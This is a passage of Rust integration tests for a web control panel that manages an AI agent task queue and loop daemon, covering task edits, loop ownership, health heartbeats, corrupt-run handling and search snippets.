14003 .as_str()
14004 .is_some_and(|e| e.contains("running")),
14005 "{}",
14006 res.body
14007 );
14008 assert_eq!(
14009 queue.get(&task.id).expect("reload").instruction,
14010 "do not touch",
14011 "the refused edit must not change the file"
14012 );
14013 }
14014
14015 #[tokio::test]
14016 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
14017 let f = Fixture::start().await;
14018 let queue = f.queue();
14019 let mut task = Task::new(
14020 "busy".to_owned(),
14021 "Running right now".to_owned(),
14022 PathBuf::from("/repo/magi"),
14023 Source::Human,
14024 );
14025 queue.put(&mut task).expect("file the task");
14026 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14027
14028 let priority = f
14029 .post(
14030 &format!("/api/queue/{}/priority", task.id),
14031 Some(r#"{"priority":9}"#),
14032 )
14033 .await;
14034 assert_eq!(priority.status, 409, "{}", priority.body);
14035
14036 let edit = f
14037 .post(
14038 &format!("/api/queue/{}/edit", task.id),
14039 Some(r#"{"title":"x","instruction":"y"}"#),
14040 )
14041 .await;
14042 assert_eq!(edit.status, 409, "{}", edit.body);
14043 }
14044
14045 #[tokio::test]
14046 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
14047 let f = Fixture::start().await;
14048 let queue = f.queue();
14049 let mut task = Task::new(
14050 "shipped by hand".to_owned(),
14051 "merged outside the loop".to_owned(),
14052 PathBuf::from("/repo/magi"),
14053 Source::Agent {
14054 run: "20260101-000000-b455".to_owned(),
14055 node: "implement".to_owned(),
14056 },
14057 );
14058 task.runs.push("20260101-000000-b455".to_owned());
14059 task.runs.push("20260101-000000-9af4".to_owned());
14060 queue.put(&mut task).expect("file the task");
14061 let created_at = task.created_at;
14062
14063 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14064 assert_eq!(done.status, 200, "{}", done.body);
14065 assert_eq!(done.json()["status_str"], "done");
14066
14067 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
14068 assert_eq!(
14069 reloaded.runs,
14070 ["20260101-000000-b455", "20260101-000000-9af4"]
14071 );
14072 assert_eq!(
14073 reloaded.source,
14074 Source::Agent {
14075 run: "20260101-000000-b455".to_owned(),
14076 node: "implement".to_owned(),
14077 }
14078 );
14079 assert_eq!(reloaded.created_at, created_at);
14080 }
14081
14082 #[tokio::test]
14083 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
14084 let f = Fixture::start().await;
14089 let queue = f.queue();
14090 let mut task = Task::new(
14091 "landed while held".to_owned(),
14092 "x".to_owned(),
14093 PathBuf::from("/repo/magi"),
14094 Source::Human,
14095 );
14096 task.hold_manual(Some("waiting on 3ed9".to_owned()));
14097 queue.put(&mut task).expect("file the held task");
14098
14099 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14100 assert_eq!(done.status, 200, "{}", done.body);
14101 assert_eq!(done.json()["status_str"], "done");
14102 assert!(
14103 done.json()["hold_reason"].is_null(),
14104 "a done task cannot still be waiting on something: {}",
14105 done.body
14106 );
14107 }
14108
14109 #[tokio::test]
14110 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
14111 let f = Fixture::start().await;
14116 let queue = f.queue();
14117 let runs = f.runs();
14118 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
14119 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
14123
14124 let mut task = Task::new(
14125 "landed by hand".to_owned(),
14126 "x".to_owned(),
14127 PathBuf::from("/repo/magi"),
14128 Source::Human,
14129 );
14130 task.runs.push("20260101-000000-doa1".to_owned());
14131 task.runs.push("20260101-000000-doa2".to_owned());
14132 queue.put(&mut task).expect("file the task");
14133
14134 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14135 assert_eq!(done.status, 200, "{}", done.body);
14136
14137 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
14138 .expect("run still on disk under this fixture's own home");
14139 assert_eq!(
14140 reloaded_run.status,
14141 RunStatus::Superseded,
14142 "closing the task by hand must relabel the earlier blocked attempt exactly \
14143 like the loop's own settle path does"
14144 );
14145 }
14146
14147 #[tokio::test]
14148 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
14149 let f = Fixture::start().await;
14154 let queue = f.queue();
14155 let runs = f.runs();
14156 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
14157 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
14158
14159 let mut task = Task::new(
14160 "closed with nothing actually landed".to_owned(),
14161 "x".to_owned(),
14162 PathBuf::from("/repo/magi"),
14163 Source::Human,
14164 );
14165 task.runs.push("20260101-000000-dob1".to_owned());
14166 task.runs.push("20260101-000000-dob2".to_owned());
14167 queue.put(&mut task).expect("file the task");
14168
14169 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14170 assert_eq!(done.status, 200, "{}", done.body);
14171
14172 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
14173 .expect("run still on disk under this fixture's own home");
14174 assert_eq!(
14175 reloaded_run.status,
14176 RunStatus::Blocked,
14177 "the last recorded attempt never landed, so the earlier one must not be \
14178 relabelled as superseded by it"
14179 );
14180 }
14181
14182 #[tokio::test]
14183 async fn unknown_ids_are_json_not_found_on_both_stores() {
14184 let f = Fixture::start().await;
14185
14186 let run = f.get("/api/runs/nosuchrun").await;
14187 let task = f.post("/api/queue/nosuchtask/hold", None).await;
14188
14189 assert_eq!(run.status, 404);
14190 assert_eq!(task.status, 404);
14191 assert!(
14192 run.json()["error"]
14193 .as_str()
14194 .is_some_and(|e| e.contains("run")),
14195 "the error names what was not found: {}",
14196 run.body
14197 );
14198 assert!(
14199 task.json()["error"]
14200 .as_str()
14201 .is_some_and(|e| e.contains("task")),
14202 "the error names what was not found: {}",
14203 task.body
14204 );
14205 }
14206
14207 #[tokio::test]
14208 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
14209 let f = Fixture::start().await;
14210
14211 let missing = f.get("/api/health").await.json();
14212 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
14213
14214 write_daemon(
14215 f.home.path(),
14216 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14217 );
14218 let stale = f.get("/api/health").await.json();
14219 assert_eq!(
14220 stale["daemon"]["running"], false,
14221 "a minute without a heartbeat is a dead daemon, not a busy one"
14222 );
14223 assert!(
14224 stale["daemon"]["stale_for_secs"]
14225 .as_i64()
14226 .is_some_and(|s| s >= 55),
14227 "staleness is reported so the UI can say how long: {stale}"
14228 );
14229
14230 write_daemon(f.home.path(), Timestamp::now());
14231 let fresh = f.get("/api/health").await.json();
14232 assert_eq!(fresh["daemon"]["running"], true);
14233 assert_eq!(fresh["daemon"]["idle"], false);
14234 assert_eq!(fresh["daemon"]["pid"], 4242);
14235 assert_eq!(fresh["daemon"]["completed"], 7);
14236 assert_eq!(
14237 fresh["daemon"]["current"][0]["task"],
14238 "20260902-140501-aaaa"
14239 );
14240 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
14241 }
14242
14243 #[tokio::test]
14244 async fn the_loop_is_not_running_until_something_starts_it() {
14245 let f = Fixture::start().await;
14246
14247 let view = f.get("/api/loop").await.json();
14248 assert_eq!(view["running"], false);
14249 assert_eq!(
14250 view["owned"], false,
14251 "nobody owns a loop that does not exist: {view}"
14252 );
14253 assert_eq!(view["stopping"], false);
14254 assert_eq!(view["last_error"], Value::Null);
14255 assert_eq!(view["daemon"]["running"], false);
14256 assert_eq!(
14257 view["repo"], "/repo/magi",
14258 "the repository a start would use, named before it is started"
14259 );
14260 }
14261
14262 #[tokio::test]
14263 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
14264 let f = Fixture::start().await;
14265
14266 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14267 assert_eq!(res.status, 200, "{}", res.body);
14268 let view = res.json();
14269 assert_eq!(view["running"], true);
14270 assert_eq!(
14271 view["owned"], true,
14272 "the loop the UI started is the UI's own to stop: {view}"
14273 );
14274 assert_eq!(
14275 view["merge"],
14276 Value::Null,
14277 "no override was given, so each repository's own config decides"
14278 );
14279
14280 let health = f.get("/api/health").await.json();
14284 assert_eq!(health["loop"]["running"], true, "{health}");
14285 assert_eq!(health["loop"]["owned"], true, "{health}");
14286
14287 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14288 }
14289
14290 #[tokio::test]
14291 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
14292 let f = Fixture::start().await;
14293 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14294 assert_eq!(first.status, 200, "{}", first.body);
14295
14296 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14297 assert_eq!(
14298 again.status, 409,
14299 "two loops on one queue race for the same claims: {}",
14300 again.body
14301 );
14302 assert!(
14303 again.json()["error"]
14304 .as_str()
14305 .is_some_and(|e| e.contains("already running the loop")),
14306 "the refusal has to say why: {}",
14307 again.body
14308 );
14309 assert_eq!(
14310 f.get("/api/loop").await.json()["running"],
14311 true,
14312 "and the loop that was already running is untouched by it"
14313 );
14314
14315 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14316 }
14317
14318 #[tokio::test]
14319 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
14320 let f = Fixture::start().await;
14321 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14322
14323 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14324 assert_eq!(
14325 res.status, 200,
14326 "the answer must not wait for the loop: a run in flight is tens of \
14327 minutes and the operator is holding a phone: {}",
14328 res.body
14329 );
14330
14331 let view = settled(&f, |v| v["running"] == false).await;
14332 assert_eq!(view["owned"], false);
14333 assert_eq!(
14334 view["stopping"], false,
14335 "a loop that has stopped is not still stopping: {view}"
14336 );
14337 assert_eq!(
14338 view["last_error"],
14339 Value::Null,
14340 "a loop that was asked to stop did not fail: {view}"
14341 );
14342
14343 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14346 assert_eq!(twice.status, 200, "{}", twice.body);
14347 }
14348
14349 #[tokio::test]
14350 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
14351 let f = Fixture::start().await;
14352 write_daemon(f.home.path(), Timestamp::now());
14355
14356 let view = f.get("/api/loop").await.json();
14357 assert_eq!(view["running"], false, "not in this process: {view}");
14358 assert_eq!(view["owned"], false, "and not this process's to control");
14359 assert_eq!(
14360 view["daemon"]["running"], true,
14361 "but a loop is alive somewhere, which is what the UI must say"
14362 );
14363 assert_eq!(view["daemon"]["pid"], 4242);
14364
14365 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
14366 let res = f.post("/api/loop", Some(body)).await;
14367 assert_eq!(
14368 res.status, 409,
14369 "neither button may pretend to work on someone else's loop: {}",
14370 res.body
14371 );
14372 assert!(
14373 res.json()["error"]
14374 .as_str()
14375 .is_some_and(|e| e.contains("4242")),
14376 "the refusal has to name the process the operator must go to: {}",
14377 res.body
14378 );
14379 }
14380 assert_eq!(
14381 f.get("/api/loop").await.json()["running"],
14382 false,
14383 "and the refusal started nothing"
14384 );
14385 }
14386
14387 #[tokio::test]
14388 async fn a_stale_status_file_is_not_a_foreign_owner() {
14389 let f = Fixture::start().await;
14390 write_daemon(
14391 f.home.path(),
14392 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14393 );
14394
14395 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14396 assert_eq!(
14397 res.status, 200,
14398 "a daemon killed a minute ago must not lock the loop out of its \
14399 own home for good: {}",
14400 res.body
14401 );
14402 assert_eq!(res.json()["running"], true);
14403
14404 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14405 }
14406
14407 #[tokio::test]
14408 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14409 let f = Fixture::start().await;
14410 let before = f.get("/api/health").await.json()["loop_rev"]
14411 .as_u64()
14412 .expect("a loop revision");
14413
14414 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14415
14416 let after = f.get("/api/health").await.json()["loop_rev"]
14417 .as_u64()
14418 .expect("a loop revision");
14419 assert!(
14420 after > before,
14421 "the loop is in-process state, so this counter is the only thing \
14422 that tells a second device the first one started it: {before} -> \
14423 {after}"
14424 );
14425
14426 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14427 }
14428
14429 #[tokio::test]
14430 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14431 let f = Fixture::with_loop(launch_broken).await;
14432
14433 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14434 assert_eq!(
14435 res.status, 200,
14436 "starting it is not the failure: {}",
14437 res.body
14438 );
14439
14440 let view = settled(&f, |v| v["last_error"].is_string()).await;
14441 assert_eq!(
14442 view["running"], false,
14443 "a loop that died must not read as running, or the operator has \
14444 nothing to press: {view}"
14445 );
14446 assert_eq!(view["owned"], false);
14447 assert!(
14448 view["last_error"]
14449 .as_str()
14450 .is_some_and(|e| e.contains("read-only file system")),
14451 "the phone is where a loop that died at 3am is visible: {view}"
14452 );
14453
14454 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14457 assert_eq!(again.status, 200, "{}", again.body);
14458 assert!(
14459 again.json()["last_error"]
14460 .as_str()
14461 .is_none_or(|e| !e.contains("read-only file system")),
14462 "a fresh start does not keep showing why the last one died: {}",
14463 again.body
14464 );
14465 }
14466
14467 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14479 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14480 let home = TempDir::new().expect("temp home");
14481 let runs = home.path().join("runs");
14482 std::fs::create_dir_all(&runs).expect("runs dir");
14483 let ui = Ui::new(
14484 Queue::at(home.path().join("queue")),
14485 Questions::at(home.path().join("questions")),
14486 Talks::at(home.path().join("talks")),
14487 runs,
14488 home.path().to_path_buf(),
14489 PathBuf::from("/repo/magi"),
14490 )
14491 .with_worktrees_root(home.path().join("wt"))
14492 .with_launch(launch_knocking_on_the_way_out);
14493 let looping = ui.looping();
14494 let turns = ui.turns();
14495 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14496 .await
14497 .expect("bind loopback");
14498 let addr = listener.local_addr().expect("local addr");
14499 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14500 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14501
14502 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
14503 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14504
14505 let bound = std::sync::Mutex::new(None);
14520 hand_over(
14521 home.path(),
14522 &looping,
14523 &turns,
14524 &|_: &[String]| Duration::from_secs(5),
14525 served,
14526 |_| {
14527 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14528 let attempt = loop {
14529 match std::net::TcpListener::bind(addr) {
14530 Ok(l) => {
14531 drop(l);
14532 break Ok(());
14533 }
14534 Err(e)
14535 if e.kind() == std::io::ErrorKind::AddrInUse
14536 && std::time::Instant::now() < deadline =>
14537 {
14538 std::thread::sleep(std::time::Duration::from_millis(10));
14539 }
14540 Err(e) => break Err(e.to_string()),
14541 }
14542 };
14543 *bound.lock().expect("bound") = Some(attempt);
14544 Ok(1)
14545 },
14546 )
14547 .await
14548 .expect("hand over");
14549
14550 assert_eq!(
14551 *PARK_HEARD.lock().expect("park heard"),
14552 Some(200),
14553 "the deck must answer while the loop is parking"
14554 );
14555 let attempt = bound
14556 .lock()
14557 .expect("bound")
14558 .take()
14559 .expect("the successor was started");
14560 assert!(
14561 attempt.is_ok(),
14562 "and the address must be free by the time it is: {attempt:?}"
14563 );
14564 }
14565
14566 #[tokio::test]
14567 async fn a_newer_daemon_status_file_still_renders() {
14568 let f = Fixture::start().await;
14569 std::fs::write(
14572 f.home.path().join("daemon.json"),
14573 serde_json::json!({
14574 "schema": 2,
14575 "updated_at": Timestamp::now().to_string(),
14576 "idle": true,
14577 "surprise": { "nested": [1, 2, 3] },
14578 })
14579 .to_string(),
14580 )
14581 .expect("write daemon.json");
14582
14583 let health = f.get("/api/health").await;
14584
14585 assert_eq!(health.status, 200);
14586 assert_eq!(health.json()["daemon"]["running"], true);
14587 }
14588
14589 #[tokio::test]
14590 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
14591 let f = Fixture::start().await;
14592 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14593 let broken = f.runs().join("20260902-140502-bad");
14594 std::fs::create_dir_all(&broken).expect("run dir");
14595 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14596
14597 let list = f.get("/api/runs").await;
14598 let detail = f.get("/api/runs/20260902-140502-bad").await;
14599
14600 assert_eq!(list.status, 200);
14601 let listed = list.json();
14602 let ids: Vec<&str> = listed
14603 .as_array()
14604 .expect("an array")
14605 .iter()
14606 .map(|r| r["id"].as_str().expect("an id"))
14607 .collect();
14608 assert_eq!(
14609 ids,
14610 vec!["20260902-140501-good"],
14611 "one unreadable run must not cost the operator the whole history"
14612 );
14613 assert_eq!(detail.status, 500);
14614 assert!(
14615 detail.json()["error"]
14616 .as_str()
14617 .is_some_and(|e| e.contains("run.json")),
14618 "the failure names the file to look at: {}",
14619 detail.body
14620 );
14621 let health = f.get("/api/health").await;
14625 assert_eq!(health.json()["runs_unreadable"], 1);
14626 }
14627
14628 #[tokio::test]
14630 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
14631 let f = Fixture::start().await;
14632 let runs = f.runs();
14633 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
14634 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
14635 let path = runs.join("20260902-140502-bbbb").join("run.json");
14638 let mut v: serde_json::Value =
14639 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14640 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
14641 std::fs::write(&path, v.to_string()).unwrap();
14642 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
14643 std::fs::write(
14644 runs.join("20260902-140503-cccc").join("run.json"),
14645 "{ not json",
14646 )
14647 .unwrap();
14648
14649 let res = f.get("/api/search?scope=runs&q=quokka").await;
14650 assert_eq!(res.status, 200, "{}", res.body);
14651 let v = res.json();
14652 assert_eq!(v["total"], 1, "{v}");
14653 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
14654 assert_eq!(v["hits"][0]["field"], "text");
14655 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
14656 let parts = v["hits"][0]["snippet"].as_array().unwrap();
14657 assert!(
14658 parts
14659 .iter()
14660 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
14661 "{v}"
14662 );
14663 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
14664 assert_eq!(
14665 flat, "The Quokka leaks across threads",
14666 "whitespace is collapsed"
14667 );
14668
14669 let both = f
14671 .get("/api/search?scope=runs&q=MOBILE%20quokka")
14672 .await
14673 .json();
14674 assert_eq!(both["total"], 1, "{both}");
14675 let neither = f
14676 .get("/api/search?scope=runs&q=quokka%20zebra")
14677 .await
14678 .json();
14679 assert_eq!(neither["total"], 0, "{neither}");
14680 let stmt = f
14682 .get("/api/search?scope=runs&q=mobile%20first")
14683 .await
14684 .json();
14685 assert_eq!(stmt["total"], 2, "{stmt}");
14686 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
14687 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
14688 }
14689
14690 #[test]
14691 fn snippet_ignores_terms_longer_than_the_field() {
14692 let terms = ["ok".to_owned(), "elephant".to_owned()];
14693 let parts = snippet_of("ok", &terms);
14694 assert_eq!(
14695 parts,
14696 vec![SnippetPart {
14697 text: "ok".to_owned(),
14698 hit: true
14699 }]
14700 );
14701 }
14702
14703 #[test]
14704 fn snippet_marks_matches_longer_than_the_window() {
14705 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
14706 let hit_len = |parts: &[SnippetPart]| -> usize {
14707 parts
14708 .iter()
14709 .filter(|p| p.hit)
14710 .map(|p| p.text.chars().count())
14711 .sum()
14712 };
14713 let total =
14714 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
14715
14716 let long = "a".repeat(120);
14717 let parts = snippet_of(&long, std::slice::from_ref(&long));
14718 assert!(hit_len(&parts) > 0, "{parts:?}");
14719 assert!(total(&parts) <= cap);
14720
14721 let ja = "あ".repeat(130);
14722 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
14723 assert!(hit_len(&parts) > 0, "{parts:?}");
14724 assert!(total(&parts) <= cap);
14725
14726 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
14728 let term = format!("ab{}", "c".repeat(100));
14729 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
14730 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
14731 assert!(total(&parts) <= cap);
14732
14733 let text = format!("{}z", "a".repeat(119));
14735 let parts = snippet_of(&text, &["a".repeat(120)]);
14736 assert_eq!(hit_len(&parts), 0, "{parts:?}");
14737 }
14738
14739 #[tokio::test]
14740 async fn search_caps_hits_and_snippet_length() {
14741 let f = Fixture::start().await;
14742 let runs = f.runs();
14743 for n in 0..(SEARCH_MAX_HITS + 5) {
14744 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
14745 }
14746 let v = f.get("/api/search?scope=runs&q=web").await.json();
14747 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
14748 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
14749 assert_eq!(v["truncated"], true);
14750 assert!(
14752 v["hits"]
14753 .as_array()
14754 .unwrap()
14755 .iter()
14756 .all(|h| h["run"]["status"] == "merged")
14757 );
14758
14759 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
14760 let parts = snippet_of(&long, &["needle".to_owned()]);
14761 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
14762 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
14763 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
14764 }
14765
14766 #[tokio::test]
14767 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
14768 let f = Fixture::start().await;
14769 let queue = f.queue();
14770 let mut t = Task::new(
14771 "short title".to_owned(),
14772 "line one\nthe hidden Armadillo detail".to_owned(),
14773 PathBuf::from("/repo/magi"),
14774 Source::Agent {
14775 run: "r1".to_owned(),
14776 node: "chat".to_owned(),
14777 },
14778 );
14779 t.last_error = Some("disk full on /tmp".to_owned());
14780 queue.put(&mut t).expect("file the task");
14781
14782 for (q, want) in [
14783 ("armadillo", 1),
14784 ("disk%20FULL", 1),
14785 ("chat", 1),
14786 ("queued", 1),
14787 ("short%20nothing", 0),
14788 ] {
14789 let v = f
14790 .get(&format!("/api/search?scope=tasks&q={q}"))
14791 .await
14792 .json();
14793 assert_eq!(v["total"], want, "{q}: {v}");
14794 }
14795 for bad in [
14796 "/api/search?scope=tasks&q=",
14797 "/api/search?scope=tasks&q=%20",
14798 "/api/search?scope=chats&q=",
14799 "/api/search?scope=chats&q=%20",
14800 "/api/search?scope=nope&q=a",
14801 "/api/search?q=a",
14802 ] {
14803 assert_eq!(f.get(bad).await.status, 400, "{bad}");
14804 }
14805 }
14806
14807 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
14809 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
14810 .expect("seat value");
14811 let turns: Vec<serde_json::Value> = turns
14812 .iter()
14813 .map(|(who, body)| {
14814 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
14815 })
14816 .collect();
14817 let doc = serde_json::json!({
14818 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
14819 "status": status, "turns": turns,
14820 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
14821 "seat": seat,
14822 });
14823 let dir = f.home.path().join("talks");
14824 std::fs::create_dir_all(&dir).expect("talks dir");
14825 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
14826 }
14827
14828 #[tokio::test]
14829 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
14830 let f = Fixture::start().await;
14831 write_talk(
14832 &f,
14833 "20260901-000001-aaaa",
14834 "open",
14835 &[
14836 (
14837 "operator",
14838 "\n Why does the Pangolin cache expire?\nsecond line",
14839 ),
14840 ("agent", "Because the TTL is thirty seconds."),
14841 ],
14842 );
14843 write_talk(
14844 &f,
14845 "20260901-000002-bbbb",
14846 "closed",
14847 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
14848 );
14849 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
14850
14851 let search = |q: &'static str| {
14852 let f = &f;
14853 async move {
14854 f.get(&format!("/api/search?scope=chats&q={q}"))
14855 .await
14856 .json()
14857 }
14858 };
14859
14860 let v = search("PANGOLIN").await;
14861 assert_eq!(v["scope"], "chats");
14862 assert_eq!(v["total"], 1, "{v}");
14863 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
14864 assert_eq!(v["hits"][0]["field"], "title");
14865 assert_eq!(v["unreadable"], 1, "{v}");
14866 let marked: Vec<&str> = v["hits"][0]["snippet"]
14867 .as_array()
14868 .unwrap()
14869 .iter()
14870 .filter(|p| p["hit"] == true)
14871 .map(|p| p["text"].as_str().unwrap())
14872 .collect();
14873 assert_eq!(marked, ["Pangolin"]);
14874
14875 let v = search("zebra").await;
14877 assert_eq!(v["total"], 1, "{v}");
14878 assert_eq!(v["hits"][0]["field"], "agent");
14879 assert_eq!(search("pangolin%20thirty").await["total"], 1);
14881 assert_eq!(search("pangolin%20zebra").await["total"], 0);
14882 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
14884 assert_eq!(search(q).await["total"], 0, "{q}");
14885 }
14886 assert_eq!(search("second").await["hits"][0]["field"], "operator");
14888 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
14890
14891 let v = f.get("/api/search?scope=nope&q=a").await;
14892 assert_eq!(v.status, 400);
14893 assert!(
14894 v.body.contains("scope must be runs, tasks or chats"),
14895 "{}",
14896 v.body
14897 );
14898 }
14899
14900 #[test]
14901 fn a_question_card_links_a_task_id_to_the_task_page() {
14902 let start = APP_JS
14903 .find("function updateAskCard(")
14904 .expect("updateAskCard exists");
14905 let body = &APP_JS[start..];
14906 let body = &body[..body.find("\n}\n").expect("function end")];
14907 assert!(body.contains("question.run_is_task"));
14908 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
14909 assert!(body.contains("`#/runs/${question.run}`"));
14910 assert!(body.contains("\"task\" : \"run\""));
14911 }
14912
14913 #[test]
14914 fn plain_text_message_surfaces_go_through_linkify() {
14915 assert!(APP_JS.contains("function linkify("));
14916 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
14917 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
14918 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
14919 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
14920 assert!(!APP_JS.contains("innerHTML = text"));
14921 }
14922
14923 #[test]
14924 fn implementation_rate_views_keep_independent_samples() {
14925 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
14926 let a = stats::AgentStats {
14927 competitive_entered: competitive_n,
14928 competitive_wins: usize::from(competitive_n > 0),
14929 solo_entered: solo_n,
14930 solo_adopted: 2 * usize::from(solo_n > 0),
14931 ..Default::default()
14932 };
14933 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
14934 for (key, n, numerator) in [
14935 ("competitive_win_rate", competitive_n, a.competitive_wins),
14936 ("solo_adoption_rate", solo_n, a.solo_adopted),
14937 ] {
14938 if n == 0 {
14939 assert!(v[key].is_null());
14940 } else {
14941 assert_eq!(v[key]["denominator"], n);
14942 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
14943 }
14944 }
14945 }
14946 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
14947 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
14948 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
14949 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14950 }
14951
14952 #[test]
14953 fn stats_bars_share_one_id_keyed_plan() {
14954 let start = APP_JS
14955 .find("function statsBarRows(")
14956 .expect("statsBarRows exists");
14957 let body = &APP_JS[start..];
14958 let body = &body[..body.find("\n}\n").expect("function end")];
14959 assert!(body.contains("statsBarPlan(rows)"));
14960 assert!(body.contains("statsAgentTone(row.agent)"));
14961 assert!(!body.contains("candTone(i)"));
14962 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14963 for root in [
14964 "stats-agents-bars",
14965 "stats-solo-bars",
14966 "stats-reviewers-bars",
14967 ] {
14968 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
14969 }
14970 }
14971
14972 #[test]
14973 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
14974 let start = APP_JS
14975 .find("function renderStatsReviewerScatter(")
14976 .expect("renderStatsReviewerScatter exists");
14977 let body = &APP_JS[start..];
14978 let body = &body[..body.find("\n}\n").expect("function end")];
14979 assert!(body.contains("statsScatterPlan(reviewers)"));
14980 assert!(body.contains("statsAgentTone(d.agent)"));
14981 assert!(APP_JS.contains("function statsScatterPlan("));
14982 assert!(
14983 APP_JS.contains("d.submitted < STATS_LOW_N")
